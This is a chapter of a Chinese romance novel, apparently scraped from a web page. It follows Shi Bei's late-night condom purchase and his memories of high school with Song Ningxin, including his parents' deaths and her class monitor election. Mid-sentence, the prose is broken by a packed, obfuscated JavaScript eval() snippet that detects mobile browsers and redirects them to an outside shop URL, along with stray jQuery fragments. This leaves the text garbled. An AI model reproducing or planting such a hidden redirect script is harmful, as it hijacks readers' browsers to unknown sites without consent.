凌晨两点，二十四小时营业的711灯火通明，亮如衰败城市的孤岛。


    晚班小哥每补完冷藏柜的一种饮料，便往结账柜台张望一眼。八个冷藏展柜补完，那个男人还在。帅是帅，但半夜两点一动不动杵那儿十来分钟，不信邪的也害怕。


    晚班小哥小心翼翼抱了件保暖羽绒服，社恐地走到前台补烟。


    那个凝固的男人说话了：“还有别的吗？”


    晚班小哥扭头，顺着他的目光落在避孕套的货架。五排避孕套有序排开，牌子都是杜蕾斯。


    原来他看了半天，是要想要别的牌子。


    柜台的避孕套都是热门或者滞销的产品。晚班小哥领他到后排货架，伸手一指：“这里。”


    “就这些？”


    “我们上架的产品是固定的，就这些。”晚班小哥想说，情趣用品店比较齐全。但跟客人没必要聊这么多。他想着，等理完货，这个帅哥结完账，自己估计能眯一会。


    刚一转身，那人问：“你有……”


    “嗯？”


    “你有推荐的吗？”


    晚班小哥：“……”推荐也没有提成啊。


    超市货架，整齐无规律地摆放着颗粒、凸点、零感、玻尿酸、001、002、003、Air、超薄、紧型超薄、优质超薄……


    时北像回到了高三给宋柠心买卫生巾。


    那天她伏桌上一上午，头始终没抬。任课老师见睡觉的是宋柠心，讲课都不经过她那条过道，生怕打扰，同学见宋柠心倒下，以为班长终于累了。也对，是人就会累，拉磨的驴也不能24小时转个不停啊。


    中午，时北走到她旁边，敲敲她的头：“宋柠心，要带饭吗？”


    她慢慢抬起头，半张脸压出红到发淤的褶子，一双眼睛意外炯炯有神。她摇头说不饿，不用带了。


    时北盯着她：“你确定？”


    “嗯。”她见同学都去吃饭了，教室没几个人，没再强装精神。一张俏脸萎靡得像换了个灵魂。


    “你没事吧，不舒服吗？”


    时北像尊佛一样定在她旁边，又慈悲又冰冷。宋柠心想了想，随口打了句诳语：“我姨妈来了。”


    时北被支去买卫生巾。


    十几年前的高中校园里，男同学买卫生巾不算常见。时北请教了一位经过的女同学，一般女孩子都用什么？对方憋住害羞和笑意，给他指了护舒宝。时北拿了护舒宝，走出两步又退回那位女同学旁边：“这个贵吗？”


    女孩以为他嫌贵，表情有点嫌弃：“不贵吧。”


    他指向卫生巾那片区域：“那哪个贵？”


    学校单价最贵的卫生巾是苏菲。三天后，司青青大姨妈驾到，宋柠心把那包全新的苏菲从桌肚里掏出来，面不改色地献祭给了女生的友情。


    时北坐在最后一排，冷眼看着这幕发生。


    两周后，任清扬转到北京上学的事在学校里传开。宋柠心恢复元气，没受打扰。王箭羽得了信儿立马来问宋柠心，任清扬怎么去北京上学了？有人说他是北京户口，所以回北京上学。老子跟他小初高都同校，没听说他是北京人啊！


    司青青翻了个白眼，你住人家家里吗？用你听说吗?


    王箭羽扼腕，他父母怎么没这个远见，北京户口高考多容易啊。


    “人家就是小学把户口迁去的北京。”


    “看来任清扬家里真的不简单。我小时候就看出来了！”


    这段对话里，宋柠心始终保持沉默。司青青有眼色，见问不出什么及时闭嘴，并踹了一脚还想继续打听的王箭羽。


    周末她如期到时北家给他补数学，见周一给的十道大题他一题都没做，气得头痛：“时北！你知不知道人生的机遇是很有限的。那些含金汤匙出生的人都要争取在高考这条路上打场漂亮仗，我们没有理由也没有资格懈怠！”


    这周弟弟支气管肺炎，他帮姑姑看摊位，确实没学。


    时北重重拍亮电灯开关，打开她折角的习题册，坐下做题。一句解释也没。


    宋柠心翻开学习小组新开的题册，见他一点没动，不由悲从中来：“我觉得我的努力都白费了。”


    时北试图集中精力看题，但她的悲伤实在太显眼：“你是指我还是任清扬？”


    “关他什么事？”


    他提示：“北京。”


    “是啊北京！人家小学家里就铺好坦途，不管考得如何都会有人兜底，命运是很不公平的。”


    作为半公开的地下男友，任清扬能去北京念高中，她肯定是高兴的，但是作为同一赛道的高中同学，她并不能接受这种合法捷径。当然，她不接受也可能因为她并非这一环的受益者。


    最近，宋柠心审视苦行僧一样的高中生活，对一切充满疑问。


    空气凝固三秒。


    “但我们还是不能放弃！时北！不要放弃好吗！”


    宋柠心就是这种随时鸡血的人。


    “……”


    时北低头做题，没一会听到她嘀咕完了完了，急匆匆往厕所跑了一趟。过了会，她喊他：“时北。”


    时北隔着门问她：“怎么了？”


    厕所尴尬回声：“你能帮我去买‘那个’吗？”


    她显然忘了那个昏沉半日后随口编出的借口了。


    “马上。”‘马’声在厕所门口落下，‘上’字迅速移到了楼梯口。


    木质楼梯的灰尘刚刚扬起，未及落下，苏菲便扇着绵柔小翅膀飞到宋柠心手里。


    一切快得像许了个愿。


    *


    时北站在货架前，正准备拿小哥推荐的001，想到这桩苏菲往事，顺着价签拿了盒最贵的。


    微信上，宋柠心：【你不是跑了吧？】


    时北点开：【想多了】


    【我也觉得，你要是想跑就不会留下来。】


    【有人说过不喜欢聚会散场后一个人面对冷清】


    【哇，太心机了。这算作弊。】怎么可以拿她的话反攻她！


    【嗯】


    【快说，是不是早有计划？】


    【是】


    他拿着一盒套走到柜台前，盯着宋柠心的头像，又回去拿了两盒别的。


    【什么时候开始的？】


    【你想我说什么？】


    扫码结账，小哥嘴角浮起心知肚明的笑。属于夜晚的时间不多了，抓点紧。


    【高中？】


    【那道德有问题吧】


    宋柠心：【？阴阳我？】【大学？】


    三盒套被时北随手塞进伞裤口袋。


    走出超市，他立在荒凉的街道边回她：【不是】


    【啊？这么晚？我以为你一直喜欢我】


    是，他一直有道德问题。


    【想多了】


    【哼】


    【没那么贱】


    【……】【哼】


    以时北的性格，跟宋柠心该是八杆子打不到一块去。他做什么都冷淡，她一点小事都要惊天动地，他不喜做话题中心，她向往八卦腥风。高中宋柠心跑过来跟他说，你知道吗，校内网好多女生说你是校草，他第一反应是“哦”，宋柠心则是欢天喜地，高兴自己可以跟话题中心的人物一起玩。


    *


    高一时北是真的烦她。


    他知道她为什么要接近他。


    小学五年级，他爸出任务意外离开。刚开始他们只是接到通知，他妈不信，待半年后接到骨灰，他妈的精神没支撑住，逐渐抑郁。时北经常去精神病院帮她去配药，那家医院他去的比普通三甲都多。最后一次拿药回来，他连着一高的录取通知书一起，给妈妈看。那是本市最好的省重点高中，能进去，就是半只脚踏进了大学的大门。他妈表现得特别高兴，反常得高兴。半个月后，跳河自杀了。


    她没死在家里，死在和他爸相遇的河边。


    那年整条老街都要避开他家，伴随指指点点。


    因家事不断，他越发寡言。“上面”一直很照顾他，应该也跟一高的老师聊过。尽管时北缺席高中入学摸底考试，还是被分到了一高重点班。


    也就是宋柠心所在的班级。


    而宋柠心就是班主任老师派下来的那双白手套。


    她了解个大概——知道他爸是烈士，知道他妈也走了，知道自己要领着他好好学习。


    她给自己加了很多戏，认定自己在拯救不良少年。搅黄面馆的工作后，她来过一次他家，发现他并非摆烂的混子，只是有瘫痪的奶奶要照顾，有七岁的表弟要带，没空上18点到22点晚自习。


    宋柠心局促站着，忽然无从下手。她意识到这时候提学习非常没眼色，人家还为生存所困呢。


    时北没理她，一步步带护工阿姨翻身，教她奶奶的药。


    倒是姑姑回来，见一漂亮同学来家里找时北，热情地拉她吃了个晚饭。


    宋柠心嘴巴很甜，每夹一筷子，便要说这是她今年吃过最好吃的菜，比饭店都要好吃。家里的菜就是最好的，可惜她都吃不到。她回去要告诉妈妈，让她也给她煮这样的菜。


    那就是一道红烧小黄鱼和蒜头青菜而已。时北觉得她假得浑然天成。


    她吃人嘴短，回家列了计划拿给时北，去掉高中生最低睡眠6小时，每门科目依然可以分配充足的时间学习。时北跟她说话没好气：“劳您费心了，我上个大专就行了。”


    她生气：“大专？那你现在就可以去上了！”初中毕业就可以去读大专了。


    “我要读的只收高中生。”


    “你……还有理想的院校？”


    “S市机电。”他随口扯了个离家近的大专。


    宋柠心没话说，但也没放弃。


    高一课业重，她并不能抽出时间逮他，可稍有空隙，她便会递给他一些题。


    时北带表弟做作业，闲来没事，做了两次。他意识到，这些题是宋柠心看他试卷，找到的错题类型。她抄了一些类似题型，把拆解的步骤解释在纸上。


    整个第一学期，她都这样做了。


    高一寒假，假期很短。她提前打电话，问有没有空，她要看一下他的作业。时北说随便。三十分钟后她就到了。宋柠心见他作业进度不快，当即自作主张，决定留下陪他写作业。


    时北问，你没有事做吗？


    她摇头，今天没事。


    时北问，你没有朋友吗？


    宋柠心低下头，写下选择题答案，笔尖慢吞吞画完一个“D”，小声说：“有的吧……但大家都很忙啊。”


    班上大多数女生都是本市几所重点初中考过来的。话题相投、趣味相投，早在一开学就有自习或是吃饭的伴儿，宋柠心有跟两个女生结过伴，很快不了了之，甚至遭遇过背刺。


    她的临时班长做得太过投入，很不“讨喜”。


    时北不喜欢讨喜这个词。人没必要讨喜。尽管宋柠心努力讨喜，但在竞争压力极大的一高，女孩子更喜欢“无害”的同性。


    她腆着张漂亮脸蛋儿，厚脸皮地问：“那……我们不算朋友吗？”


    时北不吃她那套：“不算。”


    “哼。”


    这天，他们在时北家一楼的红木桌上，面对面做了一下午卷子。中间宋柠心问了个问题。她问时北，开学朱老师要选班长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606421|143364||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，你会选我吗？


    时北问，都有谁？


    宋柠心小声说，好像有王茹梦。


    “那不会选你。”


    “为什么？”


    时北皱起眉头：“我是说他们不会选你的。”他们是指其他同学。


    “为什么？”宋柠心嘴巴一扁，特别委屈。


    她对这一信息显然不意外，但也不接受。


    “别问我。”


    王茹梦是学习委员。在学习成绩差不多的情况下，就看平时谁更能俘获人心。王茹梦没有攻击性，是个温柔的和事佬。同学没做作业，她安慰人家没关系的，赶紧抄，应付一下。


    宋柠心是临时班长，做了很多实事，也得罪不少人。


    今天看来，她好像也知道自己有“问题”。


    她苦脸想了一下，话都说到这步了，那…….“那你会投我吗？”


    时北笑了：“怎么？必须投？”


    她消沉地将脸埋进卷子，声音低低回响：“可是……我不想零票……”


    这是时北第一次关注班里的琐事。选举当天的早读，有人问王茹梦，想当班长吗？想当的话他们就投她。


    王茹梦说自己才不想当呢，只是朱老师提议她当，她才同意的。说罢，朝同学摆手，哎呀，不要投我，随便谁当吧。她就想好好学习，她爸爸妈妈也不舍得她辛苦。


    班长的选举占用了半节班会，选举用45张统一裁剪的纸条，由宋柠心亲自裁剪，微笑着从第一排发下去往后传。


    时北个子高，从小就坐最后一排。从他这个角度，可以清晰看到宋柠心的表情和甩动的马尾，很漂亮，像精神抖擞赴死。


    时北跟班上很多同学都是一个初中出来的。王箭羽拱他，问投谁啊，烦死了，英语单词都没背，下节课要默写了。


    时北垂眼，漫不经心说，“不知道，随便吧。”


    周围几个人也没什么参与感，交头接耳问投谁。


    时北拿起笔转了一圈，思索了片刻：“选宋柠心吧。”他说的不高不低，刚好在后排区域传开。


    “啊？宋柠心？”


    “我记得她上次捐款捐的多。”她有病，贼好斗，为了争文明班级的分数，她一个人捐了两千，占全班45%，硬是把分数顶上去，帮班级拿了面小红旗。


    “哦，对对对。”


    王箭羽恍然大悟，“那行。”


    有人显然对她没好感：“真的吗？宋？柠？心？”


    “她怎么你了？”时北眯眼看向那人。


    “啊？”对方秒怂，转了过去。


    角落里窸窸窣窣，有人问，选谁啊？


    王箭羽探头传话：“时北说选宋柠心。”


    时北特么抬脚就是一蹬。


    宋柠心听到自己的名字像森林里的咒语一样小范围传播。她向后看了一眼，时北低着头，笔尖沙沙写着什么。


    一秒后，他如有感应，抬眼看向她。


    他长着一副很标准的俊朗帅哥的脸，因为不笑，老低头，有种距离感强烈的冷感。所以她下意识地，把那一抹笑理解成：嘲笑。


    他在笑她的不自量力。


    唱票的时候，前八个全是王茹梦，因为连着读，有一片同学还发出了欢呼。到第九个才唱到宋柠心。


    那五分钟太煎熬了。别说宋柠心，连时北都觉得煎熬。唱票结束，弃票6，宋柠心20票当选班长。


    王箭羽嚯了一声，在后排掀起第二波小范围欢呼。


    朱老师邀请下，宋柠心上台发表了一分钟的感谢演讲。她始终保持笑容，眼睛扫视全班，说完谢谢大家，她深深鞠了一躬，在全班的掌声里，目光直直落向时北。


    这次她看清时北嘴角善意的弧度，确信时北为她投了票。她整个人热得颊上水汽浮动，热得直想奔跑大哭。


    那个瞬间，他们四目对视，如入无人之境。


    那一天，时北意识到自己并不讨厌宋柠心。


    那一天，宋柠心拥有了S市的第一个朋友。


    时北不明白为什么宋柠心对权力会有这么大的向往。在胜算这么低的情况下，也要坚持选班长，宁可丢脸煎熬，也不肯放弃机会。


    但不得不承认，她站在讲台发表班长讲话，周身都闪耀着自信漂亮的光。这束光蔓延到暗处，溢至他的脚边，他听到心里的掌声。


    他从高中就知道，自己和她不是一个世界的。


    ?


    宋柠心连着七条消息将时北震回她的世界：


    【？】


    【？】


    【？】


    【？】


    【？】


    【你还来不来了？】


    【不来我睡了？】


    时北：【宋柠心】


    宋柠心：【嗯？】


    【开门】


    宋柠心抱臂在客厅中来回踱步，影子鬼魅一样。


    她从真丝裙到情趣内衣再到白衬衫，换过一轮媚男装备，最后冷得老实套上了长袖外套，包成没有欲望的模样。


    时北出现，她左右撩了两下头发，故意弄乱了一些：“你去了好久哦。”她一把抱住他，强装出娇憨的醉意，“买好了？”


    时北打量宋柠心，过了好一阵子嘴角拽过一丝坏笑：“没买到。”


    宋柠心脑子慢悠悠转了转：“什么意思？超市关了？”国内到处是24小时超市。就算在鸟不拉屎的国外，半个小时也够开车到加油站买到套儿了。


    “没合适的。”


    夜太深了，换白天应该能笑出来，半夜人有点木：“是嘛。”


    这是大还是小啊？都有点好奇了。